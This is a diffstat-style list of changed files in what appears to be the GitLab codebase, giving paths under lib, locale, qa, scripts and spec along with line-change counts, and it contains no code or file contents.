-rw-r--r--lib/gitlab/ci/trace/metrics.rb1
-rw-r--r--lib/gitlab/ci/variables/collection.rb20
-rw-r--r--lib/gitlab/ci/variables/collection/item.rb13
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb16
-rw-r--r--lib/gitlab/cluster/lifecycle_events.rb22
-rw-r--r--lib/gitlab/cluster/mixins/unicorn_http_server.rb34
-rw-r--r--lib/gitlab/cluster/puma_worker_killer_initializer.rb7
-rw-r--r--lib/gitlab/content_security_policy/config_loader.rb3
-rw-r--r--lib/gitlab/cycle_analytics/stage_summary.rb17
-rw-r--r--lib/gitlab/cycle_analytics/summary/base.rb5
-rw-r--r--lib/gitlab/cycle_analytics/summary/commit.rb2
-rw-r--r--lib/gitlab/cycle_analytics/summary/deploy.rb2
-rw-r--r--lib/gitlab/cycle_analytics/summary/deployment_frequency.rb6
-rw-r--r--lib/gitlab/cycle_analytics/summary/issue.rb15
-rw-r--r--lib/gitlab/data_builder/build.rb2
-rw-r--r--lib/gitlab/data_builder/pipeline.rb2
-rw-r--r--lib/gitlab/data_builder/wiki_page.rb3
-rw-r--r--lib/gitlab/database.rb15
-rw-r--r--lib/gitlab/database/background_migration/batched_job.rb2
-rw-r--r--lib/gitlab/database/background_migration/batched_migration.rb18
-rw-r--r--lib/gitlab/database/consistency.rb20
-rw-r--r--lib/gitlab/database/dynamic_model_helpers.rb19
-rw-r--r--lib/gitlab/database/load_balancing.rb142
-rw-r--r--lib/gitlab/database/load_balancing/active_record_proxy.rb15
-rw-r--r--lib/gitlab/database/load_balancing/connection_proxy.rb140
-rw-r--r--lib/gitlab/database/load_balancing/host.rb209
-rw-r--r--lib/gitlab/database/load_balancing/host_list.rb99
-rw-r--r--lib/gitlab/database/load_balancing/load_balancer.rb275
-rw-r--r--lib/gitlab/database/load_balancing/logger.rb13
-rw-r--r--lib/gitlab/database/load_balancing/rack_middleware.rb98
-rw-r--r--lib/gitlab/database/load_balancing/resolver.rb52
-rw-r--r--lib/gitlab/database/load_balancing/service_discovery.rb187
-rw-r--r--lib/gitlab/database/load_balancing/session.rb118
-rw-r--r--lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb46
-rw-r--r--lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb71
-rw-r--r--lib/gitlab/database/load_balancing/srv_resolver.rb46
-rw-r--r--lib/gitlab/database/load_balancing/sticking.rb147
-rw-r--r--lib/gitlab/database/migration_helpers.rb21
-rw-r--r--lib/gitlab/database/migrations/background_migration_helpers.rb48
-rw-r--r--lib/gitlab/database/postgresql_adapter/empty_query_ping.rb3
-rw-r--r--lib/gitlab/database/postgresql_adapter/type_map_cache.rb44
-rw-r--r--lib/gitlab/diff/file_collection/base.rb15
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_batch.rb24
-rw-r--r--lib/gitlab/diff/highlight.rb6
-rw-r--r--lib/gitlab/diff/highlight_cache.rb1
-rw-r--r--lib/gitlab/email/handler/reply_processing.rb2
-rw-r--r--lib/gitlab/email/handler/service_desk_handler.rb7
-rw-r--r--lib/gitlab/email/message/in_product_marketing.rb4
-rw-r--r--lib/gitlab/email/message/in_product_marketing/base.rb13
-rw-r--r--lib/gitlab/email/message/in_product_marketing/experience.rb80
-rw-r--r--lib/gitlab/email/receiver.rb2
-rw-r--r--lib/gitlab/emoji.rb12
-rw-r--r--lib/gitlab/error_tracking.rb3
-rw-r--r--lib/gitlab/etag_caching/middleware.rb5
-rw-r--r--lib/gitlab/exclusive_lease_helpers.rb2
-rw-r--r--lib/gitlab/experimentation.rb12
-rw-r--r--lib/gitlab/experimentation/controller_concern.rb2
-rw-r--r--lib/gitlab/file_hook.rb2
-rw-r--r--lib/gitlab/file_hook_logger.rb2
-rw-r--r--lib/gitlab/git/conflict/resolver.rb4
-rw-r--r--lib/gitlab/git/diff_collection.rb6
-rw-r--r--lib/gitlab/git/lfs_changes.rb6
-rw-r--r--lib/gitlab/git/remote_repository.rb17
-rw-r--r--lib/gitlab/git/repository.rb8
-rw-r--r--lib/gitlab/git_access.rb16
-rw-r--r--lib/gitlab/git_access_snippet.rb16
-rw-r--r--lib/gitlab/gitaly_client/blob_service.rb8
-rw-r--r--lib/gitlab/gitaly_client/remote_service.rb15
-rw-r--r--lib/gitlab/gitaly_client/repository_service.rb11
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_importer.rb6
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb94
-rw-r--r--lib/gitlab/github_import/page_counter.rb4
-rw-r--r--lib/gitlab/global_id/deprecations.rb47
-rw-r--r--lib/gitlab/gon_helper.rb1
-rw-r--r--lib/gitlab/graphql.rb7
-rw-r--r--lib/gitlab/graphql/authorize/authorize_resource.rb3
-rw-r--r--lib/gitlab/graphql/deprecation.rb9
-rw-r--r--lib/gitlab/graphql/docs/helper.rb434
-rw-r--r--lib/gitlab/graphql/docs/renderer.rb54
-rw-r--r--lib/gitlab/graphql/standard_graphql_error.rb10
-rw-r--r--lib/gitlab/health_checks/redis/redis_check.rb3
-rw-r--r--lib/gitlab/health_checks/redis/trace_chunks_check.rb35
-rw-r--r--lib/gitlab/health_checks/unicorn_check.rb41
-rw-r--r--lib/gitlab/highlight.rb21
-rw-r--r--lib/gitlab/hook_data/issue_builder.rb3
-rw-r--r--lib/gitlab/hook_data/merge_request_builder.rb3
-rw-r--r--lib/gitlab/i18n.rb20
-rw-r--r--lib/gitlab/import_export/after_export_strategies/web_upload_strategy.rb4
-rw-r--r--lib/gitlab/import_export/base/relation_factory.rb5
-rw-r--r--lib/gitlab/import_export/command_line_util.rb9
-rw-r--r--lib/gitlab/import_export/decompressed_archive_size_validator.rb11
-rw-r--r--lib/gitlab/import_export/error.rb2
-rw-r--r--lib/gitlab/import_export/file_importer.rb4
-rw-r--r--lib/gitlab/import_export/group/import_export.yml3
-rw-r--r--lib/gitlab/import_export/group/legacy_import_export.yml2
-rw-r--r--lib/gitlab/import_export/group/legacy_tree_restorer.rb4
-rw-r--r--lib/gitlab/import_export/group/tree_restorer.rb2
-rw-r--r--lib/gitlab/import_export/group/tree_saver.rb4
-rw-r--r--lib/gitlab/import_export/json/legacy_reader.rb2
-rw-r--r--lib/gitlab/import_export/json/legacy_writer.rb2
-rw-r--r--lib/gitlab/import_export/json/ndjson_reader.rb2
-rw-r--r--lib/gitlab/import_export/json/ndjson_writer.rb2
-rw-r--r--lib/gitlab/import_export/json/streaming_serializer.rb2
-rw-r--r--lib/gitlab/import_export/legacy_relation_tree_saver.rb2
-rw-r--r--lib/gitlab/import_export/project/tree_restorer.rb4
-rw-r--r--lib/gitlab/import_export/project/tree_saver.rb6
-rw-r--r--lib/gitlab/import_export/shared.rb2
-rw-r--r--lib/gitlab/instrumentation/redis.rb7
-rw-r--r--lib/gitlab/instrumentation/redis_payload.rb6
-rw-r--r--lib/gitlab/integrations/sti_type.rb13
-rw-r--r--lib/gitlab/json.rb4
-rw-r--r--lib/gitlab/kas.rb7
-rw-r--r--lib/gitlab/kas/client.rb75
-rw-r--r--lib/gitlab/kubernetes/helm/parsers/list_v2.rb37
-rw-r--r--lib/gitlab/markdown_cache/field_data.rb2
-rw-r--r--lib/gitlab/metrics.rb4
-rw-r--r--lib/gitlab/metrics/exporter/web_exporter.rb3
-rw-r--r--lib/gitlab/metrics/requests_rack_middleware.rb13
-rw-r--r--lib/gitlab/metrics/samplers/database_sampler.rb4
-rw-r--r--lib/gitlab/metrics/samplers/ruby_sampler.rb2
-rw-r--r--lib/gitlab/metrics/samplers/unicorn_sampler.rb73
-rw-r--r--lib/gitlab/metrics/subscribers/active_record.rb57
-rw-r--r--lib/gitlab/metrics/subscribers/external_http.rb2
-rw-r--r--lib/gitlab/metrics/transaction.rb23
-rw-r--r--lib/gitlab/metrics/web_transaction.rb25
-rw-r--r--lib/gitlab/nav/top_nav_menu_item.rb6
-rw-r--r--lib/gitlab/nav/top_nav_view_model_builder.rb28
-rw-r--r--lib/gitlab/pagination/keyset/header_builder.rb1
-rw-r--r--lib/gitlab/pagination/keyset/paginator.rb176
-rw-r--r--lib/gitlab/pagination/keyset/simple_order_builder.rb2
-rw-r--r--lib/gitlab/patch/action_dispatch_journey_formatter.rb34
-rw-r--r--lib/gitlab/patch/global_id.rb25
-rw-r--r--lib/gitlab/patch/hangouts_chat_http_override.rb21
-rw-r--r--lib/gitlab/path_regex.rb4
-rw-r--r--lib/gitlab/profiler.rb2
-rw-r--r--lib/gitlab/project_search_results.rb13
-rw-r--r--lib/gitlab/prometheus/adapter.rb3
-rw-r--r--lib/gitlab/quick_actions/issue_and_merge_request_actions.rb2
-rw-r--r--lib/gitlab/quick_actions/merge_request_actions.rb2
-rw-r--r--lib/gitlab/reactive_cache_set_cache.rb14
-rw-r--r--lib/gitlab/redis/cache.rb30
-rw-r--r--lib/gitlab/redis/queues.rb30
-rw-r--r--lib/gitlab/redis/shared_state.rb30
-rw-r--r--lib/gitlab/redis/trace_chunks.rb12
-rw-r--r--lib/gitlab/redis/wrapper.rb56
-rw-r--r--lib/gitlab/regex.rb3
-rw-r--r--lib/gitlab/repository_set_cache.rb5
-rw-r--r--lib/gitlab/runtime.rb10
-rw-r--r--lib/gitlab/saas.rb26
-rw-r--r--lib/gitlab/set_cache.rb14
-rw-r--r--lib/gitlab/setup_helper.rb12
-rw-r--r--lib/gitlab/sidekiq_cluster/cli.rb16
-rw-r--r--lib/gitlab/sidekiq_config/worker_router.rb2
-rw-r--r--lib/gitlab/sidekiq_logging/logs_jobs.rb3
-rw-r--r--lib/gitlab/sidekiq_logging/structured_logger.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware.rb11
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb10
-rw-r--r--lib/gitlab/sidekiq_middleware/instrumentation_logger.rb19
-rw-r--r--lib/gitlab/sidekiq_middleware/server_metrics.rb13
-rw-r--r--lib/gitlab/sidekiq_middleware/size_limiter/compressor.rb52
-rw-r--r--lib/gitlab/sidekiq_middleware/size_limiter/server.rb18
-rw-r--r--lib/gitlab/sidekiq_middleware/size_limiter/validator.rb91
-rw-r--r--lib/gitlab/slash_commands/presenters/base.rb2
-rw-r--r--lib/gitlab/stack_prof.rb1
-rw-r--r--lib/gitlab/task_helpers.rb8
-rw-r--r--lib/gitlab/template/gitlab_ci_yml_template.rb33
-rw-r--r--lib/gitlab/themes.rb24
-rw-r--r--lib/gitlab/time_tracking_formatter.rb10
-rw-r--r--lib/gitlab/usage/metrics/aggregates/aggregate.rb14
-rw-r--r--lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb6
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/base_metric.rb5
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric.rb13
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/database_metric.rb18
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/generic_metric.rb9
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/redis_hll_metric.rb35
-rw-r--r--lib/gitlab/usage/metrics/name_suggestion.rb200
-rw-r--r--lib/gitlab/usage/metrics/names_suggestions/generator.rb182
-rw-r--r--lib/gitlab/usage/metrics/query.rb72
-rw-r--r--lib/gitlab/usage/time_frame.rb25
-rw-r--r--lib/gitlab/usage_data.rb89
-rw-r--r--lib/gitlab/usage_data_counters/counter_events/package_events.yml1
-rw-r--r--lib/gitlab/usage_data_counters/hll_redis_counter.rb9
-rw-r--r--lib/gitlab/usage_data_counters/known_events/code_review_events.yml13
-rw-r--r--lib/gitlab/usage_data_counters/known_events/common.yml4
-rw-r--r--lib/gitlab/usage_data_counters/known_events/ecosystem.yml4
-rw-r--r--lib/gitlab/usage_data_counters/known_events/epic_events.yml6
-rw-r--r--lib/gitlab/usage_data_counters/known_events/package_events.yml8
-rw-r--r--lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb11
-rw-r--r--lib/gitlab/usage_data_metrics.rb5
-rw-r--r--lib/gitlab/usage_data_queries.rb50
-rw-r--r--lib/gitlab/utils/measuring.rb4
-rw-r--r--lib/gitlab/utils/usage_data.rb5
-rw-r--r--lib/gitlab/workhorse.rb2
-rw-r--r--lib/google_api/cloud_platform/client.rb6
-rw-r--r--lib/mattermost.rb (renamed from lib/mattermost/error.rb)0
-rw-r--r--lib/mattermost/client.rb8
-rw-r--r--lib/mattermost/session.rb16
-rw-r--r--lib/microsoft_teams/notifier.rb2
-rw-r--r--lib/peek/views/active_record.rb19
-rw-r--r--lib/peek/views/memory.rb76
-rw-r--r--lib/prometheus/pid_provider.rb12
-rw-r--r--lib/release_highlights/validator/entry.rb5
-rw-r--r--lib/security/ci_configuration/base_build_action.rb2
-rw-r--r--lib/security/ci_configuration/sast_build_action.rb3
-rw-r--r--lib/serializers/json.rb2
-rw-r--r--lib/sidebars/concerns/container_with_html_options.rb10
-rw-r--r--lib/sidebars/menu.rb10
-rw-r--r--lib/sidebars/menu_item.rb8
-rw-r--r--lib/sidebars/projects/menus/infrastructure_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/issues_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/labels_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/learn_gitlab_menu.rb9
-rw-r--r--lib/sidebars/projects/menus/monitor_menu.rb6
-rw-r--r--lib/sidebars/projects/menus/packages_registries_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/project_information_menu.rb29
-rw-r--r--lib/sidebars/projects/menus/scope_menu.rb26
-rw-r--r--lib/sidebars/projects/menus/security_compliance_menu.rb22
-rw-r--r--lib/sidebars/projects/menus/settings_menu.rb2
-rwxr-xr-xlib/support/init.d/gitlab21
-rw-r--r--lib/support/init.d/gitlab.default.example5
-rw-r--r--lib/system_check/app/redis_version_check.rb6
-rw-r--r--lib/system_check/incoming_email/imap_authentication_check.rb2
-rw-r--r--lib/tasks/file_hooks.rake7
-rw-r--r--lib/tasks/gitlab/artifacts/migrate.rake4
-rw-r--r--lib/tasks/gitlab/backup.rake12
-rw-r--r--lib/tasks/gitlab/cleanup.rake6
-rw-r--r--lib/tasks/gitlab/db.rake27
-rw-r--r--lib/tasks/gitlab/docs/redirect.rake75
-rw-r--r--lib/tasks/gitlab/doctor/secrets.rake2
-rw-r--r--lib/tasks/gitlab/graphql.rake7
-rw-r--r--lib/tasks/gitlab/ldap.rake2
-rw-r--r--lib/tasks/gitlab/lfs/migrate.rake4
-rw-r--r--lib/tasks/gitlab/packages/composer.rake2
-rw-r--r--lib/tasks/gitlab/packages/events.rake4
-rw-r--r--lib/tasks/gitlab/packages/migrate.rake2
-rw-r--r--lib/tasks/gitlab/pages.rake6
-rw-r--r--lib/tasks/gitlab/setup.rake2
-rw-r--r--lib/tasks/gitlab/storage.rake34
-rw-r--r--lib/tasks/gitlab/terraform/migrate.rake2
-rw-r--r--lib/tasks/gitlab/uploads/migrate.rake4
-rw-r--r--lib/tasks/gitlab/uploads/sanitize.rake2
-rw-r--r--lib/tasks/gitlab/x509/update.rake2
-rw-r--r--lib/tasks/import.rake4
-rw-r--r--lib/tasks/tokens.rake2
-rw-r--r--locale/am_ET/gitlab.po1688
-rw-r--r--locale/ar_SA/gitlab.po1696
-rw-r--r--locale/as_IN/gitlab.po1688
-rw-r--r--locale/az_AZ/gitlab.po1688
-rw-r--r--locale/ba_RU/gitlab.po1686
-rw-r--r--locale/bg/gitlab.po1688
-rw-r--r--locale/bn_BD/gitlab.po1688
-rw-r--r--locale/bn_IN/gitlab.po1688
-rw-r--r--locale/br_FR/gitlab.po1694
-rw-r--r--locale/bs_BA/gitlab.po1690
-rw-r--r--locale/ca_ES/gitlab.po1688
-rw-r--r--locale/cs_CZ/gitlab.po1692
-rw-r--r--locale/cy_GB/gitlab.po1696
-rw-r--r--locale/da_DK/gitlab.po1688
-rw-r--r--locale/de/gitlab.po1700
-rw-r--r--locale/el_GR/gitlab.po1688
-rw-r--r--locale/eo/gitlab.po1688
-rw-r--r--locale/es/gitlab.po1720
-rw-r--r--locale/et_EE/gitlab.po1688
-rw-r--r--locale/fa_IR/gitlab.po1688
-rw-r--r--locale/fi_FI/gitlab.po1688
-rw-r--r--locale/fil_PH/gitlab.po1688
-rw-r--r--locale/fr/gitlab.po1696
-rw-r--r--locale/gitlab.pot1848
-rw-r--r--locale/gl_ES/gitlab.po1688
-rw-r--r--locale/he_IL/gitlab.po1692
-rw-r--r--locale/hi_IN/gitlab.po1688
-rw-r--r--locale/hr_HR/gitlab.po1690
-rw-r--r--locale/hu_HU/gitlab.po1688
-rw-r--r--locale/hy_AM/gitlab.po1688
-rw-r--r--locale/id_ID/gitlab.po1686
-rw-r--r--locale/ig_NG/gitlab.po1686
-rw-r--r--locale/is_IS/gitlab.po1688
-rw-r--r--locale/it/gitlab.po1688
-rw-r--r--locale/ja/gitlab.po1752
-rw-r--r--locale/ka_GE/gitlab.po1688
-rw-r--r--locale/kab/gitlab.po1688
-rw-r--r--locale/ko/gitlab.po1694
-rw-r--r--locale/ku_TR/gitlab.po1688
-rw-r--r--locale/ky_KG/gitlab.po1688
-rw-r--r--locale/lt_LT/gitlab.po1692
-rw-r--r--locale/mk_MK/gitlab.po1688
-rw-r--r--locale/mn_MN/gitlab.po1688
-rw-r--r--locale/nb_NO/gitlab.po1716
-rw-r--r--locale/nl_NL/gitlab.po1688
-rw-r--r--locale/pa_IN/gitlab.po1688
-rw-r--r--locale/pl_PL/gitlab.po2450
-rw-r--r--locale/pt_BR/gitlab.po1700
-rw-r--r--locale/pt_PT/gitlab.po1690
-rw-r--r--locale/ro_RO/gitlab.po1690
-rw-r--r--locale/ru/gitlab.po1718
-rw-r--r--locale/si_LK/gitlab.po1688
-rw-r--r--locale/sk_SK/gitlab.po1692
-rw-r--r--locale/sl_SI/gitlab.po1692
-rw-r--r--locale/sq_AL/gitlab.po1688
-rw-r--r--locale/sr_CS/gitlab.po1690
-rw-r--r--locale/sr_SP/gitlab.po1690
-rw-r--r--locale/sv_SE/gitlab.po1688
-rw-r--r--locale/sw_KE/gitlab.po1688
-rw-r--r--locale/ta_IN/gitlab.po1688
-rw-r--r--locale/tr_TR/gitlab.po1696
-rw-r--r--locale/uk/gitlab.po2150
-rw-r--r--locale/ur_PK/gitlab.po1688
-rw-r--r--locale/uz_UZ/gitlab.po1688
-rw-r--r--locale/vi_VN/gitlab.po1686
-rw-r--r--locale/zh_CN/gitlab.po1762
-rw-r--r--locale/zh_HK/gitlab.po1688
-rw-r--r--locale/zh_TW/gitlab.po1686
-rw-r--r--package.json77
-rw-r--r--plugins/.gitignore5
-rw-r--r--qa/.gitignore1
-rw-r--r--qa/Dockerfile12
-rw-r--r--qa/Gemfile3
-rw-r--r--qa/Gemfile.lock38
-rw-r--r--qa/qa.rb35
-rw-r--r--qa/qa/flow/user.rb6
-rw-r--r--qa/qa/page/admin/overview/users/index.rb2
-rw-r--r--qa/qa/page/component/issuable/sidebar.rb6
-rw-r--r--qa/qa/page/component/issue_board/show.rb4
-rw-r--r--qa/qa/page/dashboard/snippet/index.rb3
-rw-r--r--qa/qa/page/group/members.rb2
-rw-r--r--qa/qa/page/group/menu.rb8
-rw-r--r--qa/qa/page/group/new.rb15
-rw-r--r--qa/qa/page/main/menu.rb96
-rw-r--r--qa/qa/page/project/branches/show.rb16
-rw-r--r--qa/qa/page/project/deployments/environments/index.rb21
-rw-r--r--qa/qa/page/project/deployments/environments/show.rb23
-rw-r--r--qa/qa/page/project/import/github.rb27
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/add.rb21
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/add_existing.rb46
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/index.rb29
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/show.rb110
-rw-r--r--qa/qa/page/project/members.rb2
-rw-r--r--qa/qa/page/project/menu.rb25
-rw-r--r--qa/qa/page/project/monitor/incidents/index.rb21
-rw-r--r--qa/qa/page/project/monitor/metrics/show.rb137
-rw-r--r--qa/qa/page/project/operations/environments/index.rb21
-rw-r--r--qa/qa/page/project/operations/environments/show.rb23
-rw-r--r--qa/qa/page/project/operations/incidents/index.rb21
-rw-r--r--qa/qa/page/project/operations/kubernetes/add.rb21
-rw-r--r--qa/qa/page/project/operations/kubernetes/add_existing.rb46
-rw-r--r--qa/qa/page/project/operations/kubernetes/index.rb29
-rw-r--r--qa/qa/page/project/operations/kubernetes/show.rb110
-rw-r--r--qa/qa/page/project/operations/metrics/show.rb137
-rw-r--r--qa/qa/page/project/settings/alerts.rb39
-rw-r--r--qa/qa/page/project/settings/incidents.rb39
-rw-r--r--qa/qa/page/project/settings/monitor.rb23
-rw-r--r--qa/qa/page/project/settings/operations.rb23
-rw-r--r--qa/qa/page/project/show.rb7
-rw-r--r--qa/qa/page/project/sub_menus/deployments.rb40
-rw-r--r--qa/qa/page/project/sub_menus/infrastructure.rb40
-rw-r--r--qa/qa/page/project/sub_menus/monitor.rb48
-rw-r--r--qa/qa/page/project/sub_menus/operations.rb64
-rw-r--r--qa/qa/page/project/sub_menus/project.rb6
-rw-r--r--qa/qa/page/project/sub_menus/settings.rb4
-rw-r--r--qa/qa/page/registration/sign_up.rb5
-rw-r--r--qa/qa/resource/group.rb39
-rw-r--r--qa/qa/resource/group_base.rb47
-rw-r--r--qa/qa/resource/group_label.rb25
-rw-r--r--qa/qa/resource/kubernetes_cluster/project_cluster.rb12
-rw-r--r--qa/qa/resource/label.rb61
-rw-r--r--qa/qa/resource/label_base.rb88
-rw-r--r--qa/qa/resource/project.rb138
-rw-r--r--qa/qa/resource/project_imported_from_github.rb14
-rw-r--r--qa/qa/resource/project_label.rb28
-rw-r--r--qa/qa/resource/sandbox.rb2
-rw-r--r--qa/qa/runtime/allure_report.rb85
-rw-r--r--qa/qa/runtime/env.rb7
-rw-r--r--qa/qa/runtime/scenario.rb8
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb57
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb10
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb143
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb5
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb13
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/snippet_index_page_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb10
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb34
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb2
-rw-r--r--qa/qa/tools/delete_projects.rb8
-rw-r--r--qa/qa/tools/delete_subgroups.rb8
-rw-r--r--qa/qa/tools/delete_test_ssh_keys.rb8
-rw-r--r--qa/qa/tools/generate_perf_testdata.rb28
-rw-r--r--qa/qa/tools/revoke_all_personal_access_tokens.rb4
-rw-r--r--qa/spec/spec_helper.rb5
-rw-r--r--qa/spec/specs/helpers/context_selector_spec.rb6
-rw-r--r--qa/spec/support/matchers/eventually_matcher.rb132
-rw-r--r--qa/tls_certificates/client/client.crt30
-rw-r--r--qa/tls_certificates/client/client.csr27
-rw-r--r--qa/tls_certificates/client/client.key51
-rw-r--r--qa/tls_certificates/client/client.pem113
-rw-r--r--qa/tls_certificates/client/client.pfxbin0 -> 7021 bytes
-rw-r--r--rubocop/cop/usage_data/histogram_with_large_table.rb58
-rw-r--r--rubocop/cop/usage_data/instrumentation_superclass.rb63
-rw-r--r--rubocop/rubocop-usage-data.yml66
-rw-r--r--scripts/frontend/startup_css/clean_css.js83
-rw-r--r--scripts/frontend/startup_css/constants.js106
-rw-r--r--scripts/frontend/startup_css/get_css_path.js22
-rw-r--r--scripts/frontend/startup_css/get_startup_css.js69
-rw-r--r--scripts/frontend/startup_css/main.js60
-rwxr-xr-xscripts/frontend/startup_css/setup.sh76
-rwxr-xr-xscripts/frontend/startup_css/startup_css_changed.sh40
-rw-r--r--scripts/frontend/startup_css/utils.js8
-rw-r--r--scripts/frontend/startup_css/write_startup_scss.js28
-rwxr-xr-xscripts/gitaly-test-build9
-rwxr-xr-xscripts/lint-changelog-filenames12
-rw-r--r--scripts/prepare_build.sh3
-rw-r--r--scripts/review_apps/base-config.yaml4
-rwxr-xr-xscripts/review_apps/review-apps.sh89
-rw-r--r--scripts/rspec_helpers.sh2
-rwxr-xr-xscripts/security-harness3
-rwxr-xr-xscripts/static-analysis29
-rwxr-xr-xscripts/trigger-build41
-rw-r--r--scripts/utils.sh14
-rwxr-xr-xscripts/verify-tff-mapping4
-rw-r--r--spec/bin/changelog_spec.rb119
-rw-r--r--spec/bin/sidekiq_cluster_spec.rb6
-rw-r--r--spec/config/mail_room_spec.rb4
-rw-r--r--spec/config/metrics/aggregates/aggregated_metrics_spec.rb8
-rw-r--r--spec/controllers/abuse_reports_controller_spec.rb2
-rw-r--r--spec/controllers/admin/appearances_controller_spec.rb91
-rw-r--r--spec/controllers/admin/application_settings/appearances_controller_spec.rb91
-rw-r--r--spec/controllers/admin/groups_controller_spec.rb21
-rw-r--r--spec/controllers/admin/integrations_controller_spec.rb4
-rw-r--r--spec/controllers/admin/runners_controller_spec.rb8
-rw-r--r--spec/controllers/admin/services_controller_spec.rb2
-rw-r--r--spec/controllers/admin/users_controller_spec.rb89
-rw-r--r--spec/controllers/application_controller_spec.rb4
-rw-r--r--spec/controllers/confirmations_controller_spec.rb64
-rw-r--r--spec/controllers/dashboard/projects_controller_spec.rb9
-rw-r--r--spec/controllers/groups/group_members_controller_spec.rb47
-rw-r--r--spec/controllers/groups/registry/repositories_controller_spec.rb2
-rw-r--r--spec/controllers/groups/settings/integrations_controller_spec.rb4
-rw-r--r--spec/controllers/groups_controller_spec.rb58
-rw-r--r--spec/controllers/import/bulk_imports_controller_spec.rb6
-rw-r--r--spec/controllers/omniauth_callbacks_controller_spec.rb24
-rw-r--r--spec/controllers/passwords_controller_spec.rb12
-rw-r--r--spec/controllers/profiles_controller_spec.rb13
-rw-r--r--spec/controllers/projects/analytics/cycle_analytics/summary_controller_spec.rb46
-rw-r--r--spec/controllers/projects/blob_controller_spec.rb34
-rw-r--r--spec/controllers/projects/branches_controller_spec.rb15
-rw-r--r--spec/controllers/projects/commit_controller_spec.rb12
-rw-r--r--spec/controllers/projects/compare_controller_spec.rb17
-rw-r--r--spec/controllers/projects/feature_flags_controller_spec.rb94
-rw-r--r--spec/controllers/projects/feature_flags_user_lists_controller_spec.rb33
-rw-r--r--spec/controllers/projects/forks_controller_spec.rb19
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb2
-rw-r--r--spec/controllers/projects/mattermosts_controller_spec.rb6
-rw-r--r--spec/controllers/projects/merge_requests/conflicts_controller_spec.rb124
-rw-r--r--spec/controllers/projects/packages/infrastructure_registry_controller_spec.rb45
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb45
-rw-r--r--spec/controllers/projects/project_members_controller_spec.rb74
-rw-r--r--spec/controllers/projects/service_hook_logs_controller_spec.rb8
-rw-r--r--spec/controllers/projects/services_controller_spec.rb8
-rw-r--r--spec/controllers/projects/settings/operations_controller_spec.rb5
-rw-r--r--spec/controllers/projects/templates_controller_spec.rb26
-rw-r--r--spec/controllers/projects_controller_spec.rb18
-rw-r--r--spec/controllers/registrations_controller_spec.rb24
-rw-r--r--spec/controllers/search_controller_spec.rb2
-rw-r--r--spec/db/schema_spec.rb4
-rw-r--r--spec/deprecation_toolkit_env.rb6
-rw-r--r--spec/docs_screenshots/wiki_docs.rb47
-rw-r--r--spec/experiments/application_experiment_spec.rb65
-rw-r--r--spec/experiments/members/invite_email_experiment_spec.rb10
-rw-r--r--spec/factories/bulk_import/trackers.rb6
-rw-r--r--spec/factories/ci/builds.rb32
-rw-r--r--spec/factories/ci/job_artifacts.rb15
